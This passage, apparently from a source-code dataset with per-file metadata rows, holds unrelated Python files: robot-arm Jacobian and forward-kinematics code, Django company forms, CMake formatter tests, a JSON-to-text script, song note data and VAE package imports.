0.10915*cos(t2)*cos(t3)*sin(t1)*sin(t4)*sin(t5) + 0.10915*cos(t2)*cos(t4)*sin(t1)*sin(t3)*sin(t5) + 0.094649999999999998023803016167221*cos(t2)*cos(t5)*sin(t1)*sin(t3)*sin(t4) + 0.10915*cos(t3)*cos(t4)*sin(t1)*sin(t2)*sin(t5) + 0.094649999999999998023803016167221*cos(t3)*cos(t5)*sin(t1)*sin(t2)*sin(t4) + 0.094649999999999998023803016167221*cos(t4)*cos(t5)*sin(t1)*sin(t2)*sin(t3) - 0.10915*sin(t1)*sin(t2)*sin(t3)*sin(t4)*sin(t5)) - 2.0*sin(t2 + t3 + t4)*sin(t5)*(0.196125*cos(t2 + t3 + t5) + 0.196125*cos(t2 + t3 - 1.0*t5) - 0.10189999999999999901190150808361*sin(t2 + t3 + t4 + t5) + 0.2125*cos(t2 + t5) + 0.0072500000000000009880984919163893*sin(t2 + t3 + t4 - 1.0*t5) + 0.2125*cos(t2 - 1.0*t5))
J[3][0] = cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6)
J[3][1] = cos(t1)*(cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6)) + sin(t1)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))
J[3][2] = cos(t1)*(cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6)) + sin(t1)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))
J[3][3] = cos(t1)*(cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6)) + sin(t1)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))
J[3][4] = sin(t2 + t3 + t4)*cos(t1)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6)) - 1.0*(cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))*(cos(t6)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1))*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + sin(t6)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))) - 1.0*sin(t2 + t3 + t4)*sin(t1)*(cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))
J[3][5] = (cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + (cos(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) + sin(t2 + t3 + t4)*sin(t1)*sin(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(cos(t2 + t3 + t4)*sin(t6) + sin(t2 + t3 + t4)*cos(t5)*cos(t6))
J[4][0] = cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6)
J[4][1] = - 1.0*cos(t1)*(sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1)) - 1.0*sin(t1)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))
J[4][2] = - 1.0*cos(t1)*(sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1)) - 1.0*sin(t1)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))
J[4][3] = - 1.0*cos(t1)*(sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1)) - 1.0*sin(t1)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))
J[4][4] = sin(t2 + t3 + t4)*sin(t1)*(sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6)) - 1.0*(cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))*(cos(t6)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1))*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + sin(t6)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)))
J[4][5] = - 1.0*(sin(t6)*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1)) - 1.0*sin(t2 + t3 + t4)*cos(t6)*sin(t1))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6)) - 1.0*sin(t2 + t3 + t4)*sin(t5)*(cos(t2 + t3 + t4)*cos(t6) - 1.0*sin(t2 + t3 + t4)*cos(t5)*sin(t6))
J[5][0] = -1.0*sin(t2 + t3 + t4)*sin(t5)
J[5][1] = sin(t1)*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + cos(t1)*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))
J[5][2] = sin(t1)*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + cos(t1)*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))
J[5][3] = sin(t1)*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + cos(t1)*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))
J[5][4] = sin(t2 + t3 + t4)*sin(t5)*(cos(t6)*(cos(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) - 1.0*sin(t2 + t3 + t4)*cos(t1)*sin(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) - 1.0*(cos(t1)*sin(t5) - 1.0*cos(t2 + t3 + t4)*cos(t5)*sin(t1))*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5)) + sin(t6)*(sin(t6)*(sin(t1)*sin(t5) + cos(t2 + t3 + t4)*cos(t1)*cos(t5)) + sin(t2 + t3 + t4)*cos(t1)*cos(t6))*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))) - 1.0*sin(t2 + t3 + t4)*sin(t1)*(cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5)) + sin(t2 + t3 + t4)*cos(t1)*(cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))
J[5][5] = (cos(t1)*cos(t5) + cos(t2 + t3 + t4)*sin(t1)*sin(t5))**2 + sin(t2 + t3 + t4)**2*sin(t5)**2 + (cos(t5)*sin(t1) - 1.0*cos(t2 + t3 + t4)*cos(t1)*sin(t5))**2
return J
def dhParam(a, alpha, d, theta):
gh = np.zeros((4,4))
gh = [[cos(theta), -sin(theta)*cos(alpha), sin(theta)*sin(alpha), a*cos(theta)], [sin(theta), cos(theta)*cos(alpha), -cos(theta)*sin(alpha), a*sin(theta)], [0, sin(alpha), cos(alpha), d], [0, 0, 0, 1]]
return gh
def forwardKinematics(theta):
a = [ 0, -0.425, -0.39225, 0, 0, 0]
alpha = [pi/2, 0, 0, pi/2, -pi/2, 0]
d = [0.089159, 0, 0, 0.10915, 0.09465, 0.0823]
T01 = dhParam(a[0], alpha[0], d[0], theta[0])
T12 = dhParam(a[1], alpha[1], d[1], theta[1])
T23 = dhParam(a[2], alpha[2], d[2], theta[2])
T34 = dhParam(a[3], alpha[3], d[3], theta[3])
T45 = dhParam(a[4], alpha[4], d[4], theta[4])
T56 = dhParam(a[5], alpha[5], d[5], theta[5])
T06 = dot(dot(dot(dot(dot(T01, T12),T23),T34),T45),T56)
return T06
#T06 = T01*T12*T23*T34*T45*T56
| 505.837607 | 5,625 | 0.631702 | 11,586 | 59,183 | 3.226825 | 0.00725 | 0.077168 | 0.07559 | 0.069812 | 0.967662 | 0.961831 | 0.955251 | 0.95164 | 0.943348 | 0.935992 | 0 | 0.388607 | 0.094436 | 59,183 | 116 | 5,626 | 510.198276 | 0.308971 | 0.041634 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.046875 | false | 0 | 0.046875 | 0 | 0.140625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
4187eb9d340a85b4d88643ccb97e1c65e514fa11 | 6,266 | py | Python | findyour3d/company/forms.py | hqpr/findyour3d | 8ad3d2cb7bd0adfd080bb2314df1c78b94d3973a | [
"MIT"
] | null | null | null | findyour3d/company/forms.py | hqpr/findyour3d | 8ad3d2cb7bd0adfd080bb2314df1c78b94d3973a | [
"MIT"
] | null | null | null | findyour3d/company/forms.py | hqpr/findyour3d | 8ad3d2cb7bd0adfd080bb2314df1c78b94d3973a | [
"MIT"
] | 1 | 2020-11-26T10:52:20.000Z | 2020-11-26T10:52:20.000Z | from django import forms
from .models import Company, SpecialOffer
EXPEDITED_CHOICES = (
(0, 'No, we do not offer any expedited shipping options.'),
(1, 'Yes we offer an expedited process for a fee.')
)
class AddCompanyForm(forms.ModelForm):
class Meta:
model = Company
fields = ['name', 'display_name', 'address_line_1', 'address_line_2',
'full_name', 'email', 'phone', 'website', 'ideal_customer',
'is_cad_assistance', 'budget',
'material', 'top_printing_processes',
'description', 'user']
widgets = {
'name': forms.TextInput(attrs={'class': 'form-control'}),
'display_name': forms.TextInput(attrs={'class': 'form-control'}),
'address_line_1': forms.TextInput(attrs={'class': 'form-control'}),
'address_line_2': forms.TextInput(attrs={'class': 'form-control'}),
'full_name': forms.TextInput(attrs={'class': 'form-control'}),
'email': forms.TextInput(attrs={'class': 'form-control'}),
'phone': forms.TextInput(attrs={'class': 'form-control'}),
'website': forms.TextInput(attrs={'class': 'form-control'}),
'ideal_customer': forms.SelectMultiple(attrs={'class': 'form-control edited'}),
'budget': forms.SelectMultiple(attrs={'class': 'form-control edited'}),
'material': forms.SelectMultiple(attrs={'class': 'form-control edited big_height_block'}),
'top_printing_processes': forms.SelectMultiple(attrs={'class': 'form-control edited big_height_block'}),
'description': forms.Textarea(attrs={'class': 'form-control', 'rows': 10}),
'quote_limit': forms.NumberInput(attrs={'class': 'form-control edited'}),
'user': forms.HiddenInput(),
}
def __init__(self, *args, **kwargs):
self.user = None
if 'user' in kwargs['initial']:
self.user = kwargs['initial'].pop('user')
super(AddCompanyForm, self).__init__(*args, **kwargs)
self.fields['user'].initial = self.user
self.fields['ideal_customer'].label = 'What is your company’s ideal customer that we should send to you?'
self.fields['budget'].label = 'What is your ideal order cost/budget?'
self.fields['top_printing_processes'].label = 'Printing Processes Available'
self.fields['name'].label = 'Company Name'
# self.fields['quote_limit'].required = False
self.fields['display_name'].label = 'Company Display Name'
self.fields['full_name'].label = "Company Contact's Full Name"
self.fields['email'].label = "Company Contact's Email"
class EditCompanyForm(forms.ModelForm):
class Meta:
model = Company
fields = ['name', 'display_name', 'logo', 'address_line_1', 'address_line_2',
'full_name', 'email', 'phone', 'website', 'ideal_customer',
'is_cad_assistance', 'budget',
'material', 'top_printing_processes',
'description', 'user', 'is_expedited', 'shipping', 'quote_limit']
widgets = {
'name': forms.TextInput(attrs={'class': 'form-control'}),
'display_name': forms.TextInput(attrs={'class': 'form-control'}),
'logo': forms.ClearableFileInput(attrs={'class': 'form-control'}),
'address_line_1': forms.TextInput(attrs={'class': 'form-control'}),
'address_line_2': forms.TextInput(attrs={'class': 'form-control'}),
'full_name': forms.TextInput(attrs={'class': 'form-control'}),
'email': forms.TextInput(attrs={'class': 'form-control'}),
'phone': forms.TextInput(attrs={'class': 'form-control'}),
'website': forms.TextInput(attrs={'class': 'form-control'}),
'ideal_customer': forms.SelectMultiple(attrs={'class': 'form-control edited'}),
'budget': forms.SelectMultiple(attrs={'class': 'form-control edited'}),
'is_expedited': forms.Select(attrs={'class': 'form-control edited'}, choices=EXPEDITED_CHOICES),
'material': forms.SelectMultiple(attrs={'class': 'form-control edited big_height_block'}),
'top_printing_processes': forms.SelectMultiple(attrs={'class': 'form-control edited big_height_block'}),
'description': forms.Textarea(attrs={'class': 'form-control', 'rows': 10}),
'shipping': forms.SelectMultiple(attrs={'class': 'form-control edited'}),
'quote_limit': forms.NumberInput(attrs={'class': 'form-control edited'}),
'user': forms.HiddenInput(),
}
def __init__(self, *args, **kwargs):
self.user = None
if 'user' in kwargs['initial']:
self.user = kwargs['initial'].pop('user')
super(EditCompanyForm, self).__init__(*args, **kwargs)
self.fields['user'].initial = self.user
self.fields['ideal_customer'].label = 'What is your company’s ideal customer that we should send to you?'
self.fields['budget'].label = 'What is your ideal order cost/budget?'
self.fields['is_expedited'].label = 'Do you offer an expedited manufacturing process?'
self.fields['shipping'].label = 'Which of the following shipping options do you offer?'
self.fields['quote_limit'].required = False
self.fields['name'].label = 'Company Name'
self.fields['display_name'].label = 'Company Display Name'
self.fields['full_name'].label = "Company Contact's Full Name"
self.fields['email'].label = "Company Contact's Email"
class AddSpecialOfferForm(forms.ModelForm):
class Meta:
model = SpecialOffer
fields = ('text', 'company')
widgets = {
'text': forms.Textarea(attrs={'class': 'form-control', 'rows': 3,
'placeholder': 'eg: 25% off for next order!'}),
'company': forms.HiddenInput()
}
def __init__(self, *args, **kwargs):
self.user = None
if 'company' in kwargs['initial']:
self.company = kwargs['initial'].pop('company')
super(AddSpecialOfferForm, self).__init__(*args, **kwargs)
self.fields['company'].initial = self.company
| 50.128 | 116 | 0.608043 | 676 | 6,266 | 5.502959 | 0.16568 | 0.086022 | 0.12043 | 0.180645 | 0.811022 | 0.796237 | 0.78871 | 0.766129 | 0.732258 | 0.732258 | 0 | 0.003522 | 0.229652 | 6,266 | 124 | 117 | 50.532258 | 0.767143 | 0.006862 | 0 | 0.666667 | 0 | 0 | 0.362482 | 0.017682 | 0 | 0 | 0 | 0 | 0 | 1 | 0.029412 | false | 0 | 0.019608 | 0 | 0.107843 | 0.04902 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
419707cbaebe09d8dd81220cc7e7fd0a1b20acce | 3,614 | py | Python | tests/unit/test_cmake_formatter_comments_within_arguments.py | MaciejPatro/cmake-tidy | ddab3d9c6dd1a6c9cfa47bff5a9f120defea9e6a | [
"MIT"
] | 16 | 2020-05-16T17:20:00.000Z | 2022-02-14T12:08:41.000Z | tests/unit/test_cmake_formatter_comments_within_arguments.py | MaciejPatro/cmake-tidy | ddab3d9c6dd1a6c9cfa47bff5a9f120defea9e6a | [
"MIT"
] | 19 | 2020-05-18T06:17:42.000Z | 2020-08-11T07:15:11.000Z | tests/unit/test_cmake_formatter_comments_within_arguments.py | MaciejPatro/cmake-tidy | ddab3d9c6dd1a6c9cfa47bff5a9f120defea9e6a | [
"MIT"
] | null | null | null | ###############################################################################
# Copyright Maciej Patro (maciej.patro@gmail.com)
# MIT License
###############################################################################
from tests.unit.parser_composite_elements import spaces, file, command_invocation, unquoted_argument, \
arguments, newlines, line_ending
from tests.unit.test_cmake_formatter import TestCMakeFormatter
class TestCMakeFormatterCommandArgumentsWithComments(TestCMakeFormatter):
def test_multiple_line_comments_before_value(self):
args = arguments().add(unquoted_argument('abc')) \
.add(spaces(' ')) \
.add(unquoted_argument('TARGET')) \
.add(newlines(1)) \
.add(line_ending('# first line', 1)) \
.add(line_ending('# second line', 1)) \
.add(unquoted_argument('${PROJECT_NAME}')) \
.add(newlines(1))
root = file().add(command_invocation('add_custom_target(', args))
expected_formatting = """add_custom_target(abc
TARGET
# first line
# second line
${PROJECT_NAME}
)"""
self.assertFormatting(expected_formatting, root)
def test_multiple_line_comments_between_keywords(self):
args = arguments().add(unquoted_argument('abc')) \
.add(newlines(1)) \
.add(unquoted_argument('ALL')) \
.add(newlines(1)) \
.add(line_ending('# first line', 1)) \
.add(line_ending('# second line', 1)) \
.add(unquoted_argument('TARGET')) \
.add(spaces(' ')) \
.add(unquoted_argument('${PROJECT_NAME}')) \
.add(newlines(1))
root = file().add(command_invocation('add_custom_target(', args))
expected_formatting = """add_custom_target(abc
ALL
# first line
# second line
TARGET
${PROJECT_NAME}
)"""
self.assertFormatting(expected_formatting, root)
def test_multiple_line_comments_before_first_keyword(self):
args = arguments().add(unquoted_argument('abc')) \
.add(newlines(1)) \
.add(line_ending('# first line', 1)) \
.add(line_ending('# second line', 1)) \
.add(unquoted_argument('TARGET')) \
.add(newlines(1))
root = file().add(command_invocation('add_custom_target(', args))
expected_formatting = """add_custom_target(abc
# first line
# second line
TARGET
)"""
self.assertFormatting(expected_formatting, root)
def test_multiple_line_comments_at_the_end_of_invocation(self):
args = arguments().add(unquoted_argument('abc')) \
.add(newlines(1)) \
.add(unquoted_argument('TARGET')) \
.add(newlines(1)) \
.add(line_ending('# first line', 1)) \
.add(line_ending('# second line', 1))
root = file().add(command_invocation('add_custom_target(', args))
expected_formatting = """add_custom_target(abc
TARGET
# first line
# second line
)"""
self.assertFormatting(expected_formatting, root)
def test_multiple_line_comments_at_the_start_of_invocation(self):
args = arguments().add(newlines(1)) \
.add(line_ending('# first line', 1)) \
.add(line_ending('# second line', 1)) \
.add(unquoted_argument('TARGET')) \
.add(newlines(1))
root = file().add(command_invocation('add_custom_target(', args))
expected_formatting = """add_custom_target(
# first line
# second line
TARGET
)"""
self.assertFormatting(expected_formatting, root)
| 34.419048 | 103 | 0.592972 | 370 | 3,614 | 5.521622 | 0.159459 | 0.031326 | 0.111601 | 0.068527 | 0.837983 | 0.819873 | 0.780715 | 0.780715 | 0.760157 | 0.760157 | 0 | 0.007576 | 0.232983 | 3,614 | 104 | 104 | 34.75 | 0.729437 | 0.016325 | 0 | 0.829268 | 0 | 0 | 0.193872 | 0.02475 | 0 | 0 | 0 | 0 | 0.060976 | 1 | 0.060976 | false | 0 | 0.02439 | 0 | 0.097561 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
41babd58780647445efd43228b74eef6f1978901 | 1,846 | py | Python | read_json.py | wudongming97/refvos-detr | 20851a94251daa86718cefed0b65b3a1a55fd084 | [
"Apache-2.0"
] | null | null | null | read_json.py | wudongming97/refvos-detr | 20851a94251daa86718cefed0b65b3a1a55fd084 | [
"Apache-2.0"
] | null | null | null | read_json.py | wudongming97/refvos-detr | 20851a94251daa86718cefed0b65b3a1a55fd084 | [
"Apache-2.0"
] | null | null | null | import json
json_name = 'meta_expressions_valid.json'
txt_name_all_frames = 'meta_expressions_valid.txt'
txt_name_first_frame = 'meta_expressions_valid_first_frame.txt'
file = open(txt_name_all_frames, 'w')
with open(json_name) as f:
pop_data = json.load(f)
pop_data = pop_data['videos']
for pop_dict in pop_data:
video_id = str(pop_dict)
for object in pop_data[pop_dict]['objects']:
object_id = object
object_category = pop_data[pop_dict]['objects'][object]['category']
expression_all = pop_data[pop_dict]['objects'][object]['expressions']
for expression in expression_all:
temp = video_id + ' ' + object_id + ' ' + str(object_category) + ' ' + str(expression)
file.write(temp + '\n')
# expression_first = pop_data[pop_dict]['objects'][object]['expressions_first_frame']
# frames_id = pop_data[pop_dict]['objects'][object]['expressions_first_frame']
file.close()
file = open(txt_name_first_frame, 'w')
with open(json_name) as f:
pop_data = json.load(f)
pop_data = pop_data['videos']
for pop_dict in pop_data:
video_id = str(pop_dict)
for object in pop_data[pop_dict]['objects']:
object_id = object
object_category = pop_data[pop_dict]['objects'][object]['category']
expression_all = pop_data[pop_dict]['objects'][object]['expressions_first_frame']
for expression in expression_all:
temp = video_id + ' ' + object_id + ' ' + str(object_category) + ' ' + str(expression)
file.write(temp + '\n')
# expression_first = pop_data[pop_dict]['objects'][object]['expressions_first_frame']
# frames_id = pop_data[pop_dict]['objects'][object]['expressions_first_frame']
file.close() | 47.333333 | 102 | 0.644095 | 240 | 1,846 | 4.6 | 0.145833 | 0.11413 | 0.108696 | 0.126812 | 0.836957 | 0.836957 | 0.836957 | 0.836957 | 0.836957 | 0.827899 | 0 | 0 | 0.228061 | 1,846 | 39 | 103 | 47.333333 | 0.774737 | 0.173889 | 0 | 0.75 | 0 | 0 | 0.136095 | 0.074951 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.03125 | 0 | 0.03125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
68b73a542bcd24d134b1119ad80d570d005e3006 | 2,107 | py | Python | master/python/songs.py | NeonWizard/Raspi_GPIO | 77dbe68744691baeabf9ff911bf66df930d76150 | [
"MIT"
] | 3 | 2017-06-14T23:57:06.000Z | 2020-02-20T13:49:57.000Z | master/python/songs.py | NeonWizard/Raspi_GPIO | 77dbe68744691baeabf9ff911bf66df930d76150 | [
"MIT"
] | 1 | 2016-12-07T20:57:57.000Z | 2019-02-02T03:05:07.000Z | master/python/songs.py | NeonWizard/Florchestra | 77dbe68744691baeabf9ff911bf66df930d76150 | [
"MIT"
] | null | null | null | # Song format: Note, octave, length
tempo = 135*2
song4 = [
["Zz", 0, 0], #placeholder
["Gf", 3, 2],
["Zz", 0, 1],
["Gf", 3, 2],
["Gf", 3, 1],
["An", 3, 2],
["Gf", 3, 2],
["Zz", 0, 1],
["Gf", 3, 2],
["An", 3, 1],
["Af", 3, 1],
["Gf", 3, 1],
["Fn", 3, 2],
["Zz", 0, 1],
["Fn", 3, 2],
["Fn", 3, 1],
["Fn", 3, 2],
["Dn", 3, 2],
["Zz", 0, 1],
["Dn", 3, 2],
["Dn", 3, 1],
["En", 3, 1],
["Fn", 3, 1],
["Gf", 3, 2],
["Zz", 0, 1],
["Gf", 3, 2],
["Gf", 3, 1],
["An", 3, 2],
["Gf", 3, 2],
["Zz", 0, 1],
["Gf", 3, 2],
["An", 3, 1],
["Af", 3, 1],
["Gf", 3, 1],
["Fn", 3, 2],
["Zz", 0, 1],
["Fn", 3, 2],
["Fn", 3, 1],
["Fn", 3, 2],
["Dn", 3, 2],
["Zz", 0, 1],
["Dn", 3, 2],
["Dn", 3, 1],
["En", 3, 1],
["Fn", 3, 1],
# Part 2
["Gf", 3, 2],
["An", 3, 2],
["Gf", 3, 2],
["Df", 3, 2],
["Df", 3, 2],
["Df", 3, 1],
["Gf", 3, 3],
["Df", 3, 1],
["Df", 3, 1],
["Cn", 3, 2],
["Cn", 3, 1],
["Cn", 3, 2],
["Cn", 3, 1],
["Cn", 3, 1],
["Cn", 3, 1],
["An", 3, 2],
["An", 3, 2],
["Dn", 3, 2],
["En", 3, 1],
["Fn", 3, 1],
["Gf", 3, 2],
["An", 3, 2],
["Gf", 3, 2],
["Df", 3, 2],
["Df", 3, 2],
["Df", 3, 1],
["Gf", 3, 3],
["Df", 3, 1],
["Df", 3, 1],
["Cn", 3, 2],
["Cn", 3, 1],
["Cn", 3, 2],
["Cn", 3, 1],
["Cn", 3, 1],
["Cn", 3, 1],
["An", 3, 1],
["An", 3, 1],
["An", 3, 1],
["An", 3, 1],
["Gf", 3, 4],
]
song5 = [
#["Zz", 0, 0], # placeholder
["Zz", 0, 64],
["Gf", 3, 2],
["Zz", 0, 1],
["Gf", 3, 2],
["Gf", 3, 1],
["An", 3, 2],
["Gf", 3, 2],
["Zz", 0, 1],
["Gf", 3, 2],
["An", 3, 1],
["Af", 3, 1],
["Gf", 3, 1],
["Fn", 3, 2],
["Zz", 0, 1],
["Fn", 3, 2],
["Fn", 3, 1],
["Fn", 3, 2],
["Dn", 3, 2],
["Zz", 0, 1],
["Dn", 3, 2],
["Dn", 3, 1],
["En", 3, 1],
["Fn", 3, 1],
["Gf", 3, 2],
["Zz", 0, 1],
["Gf", 3, 2],
["Gf", 3, 1],
["An", 3, 2],
["Gf", 3, 2],
["Zz", 0, 1],
["Gf", 3, 2],
["An", 3, 1],
["Af", 3, 1],
["Gf", 3, 1],
["Fn", 3, 2],
["Zz", 0, 1],
["Fn", 3, 2],
["Fn", 3, 1],
["Fn", 3, 2],
["Dn", 3, 2],
["Zz", 0, 1],
["Dn", 3, 2],
["Dn", 3, 1],
["En", 3, 1],
["Fn", 3, 1],
]
| 12.692771 | 35 | 0.283341 | 407 | 2,107 | 1.46683 | 0.063882 | 0.190955 | 0.134003 | 0.134003 | 0.850921 | 0.835846 | 0.835846 | 0.835846 | 0.835846 | 0.822446 | 0 | 0.176471 | 0.273849 | 2,107 | 165 | 36 | 12.769697 | 0.213725 | 0.036545 | 0 | 0.940741 | 0 | 0 | 0.128459 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
68e8c76ed0fed6ed7fa78905484ae9846a9b8abc | 457 | py | Python | neural_persona/modules/vae/__init__.py | leo-liuzy/neural_persona | de117711dbbcddee1b170b93542e31a68268938e | [
"Apache-2.0"
] | null | null | null | neural_persona/modules/vae/__init__.py | leo-liuzy/neural_persona | de117711dbbcddee1b170b93542e31a68268938e | [
"Apache-2.0"
] | null | null | null | neural_persona/modules/vae/__init__.py | leo-liuzy/neural_persona | de117711dbbcddee1b170b93542e31a68268938e | [
"Apache-2.0"
] | null | null | null | from neural_persona.modules.vae.vae import VAE
from neural_persona.modules.vae.logistic_normal import LogisticNormal
from neural_persona.modules.vae.normal import Normal
from neural_persona.modules.vae.ladder import LadderVAE
from neural_persona.modules.vae.basic_l import BasicLVAE
from neural_persona.modules.vae.basic_h import BasicHVAE
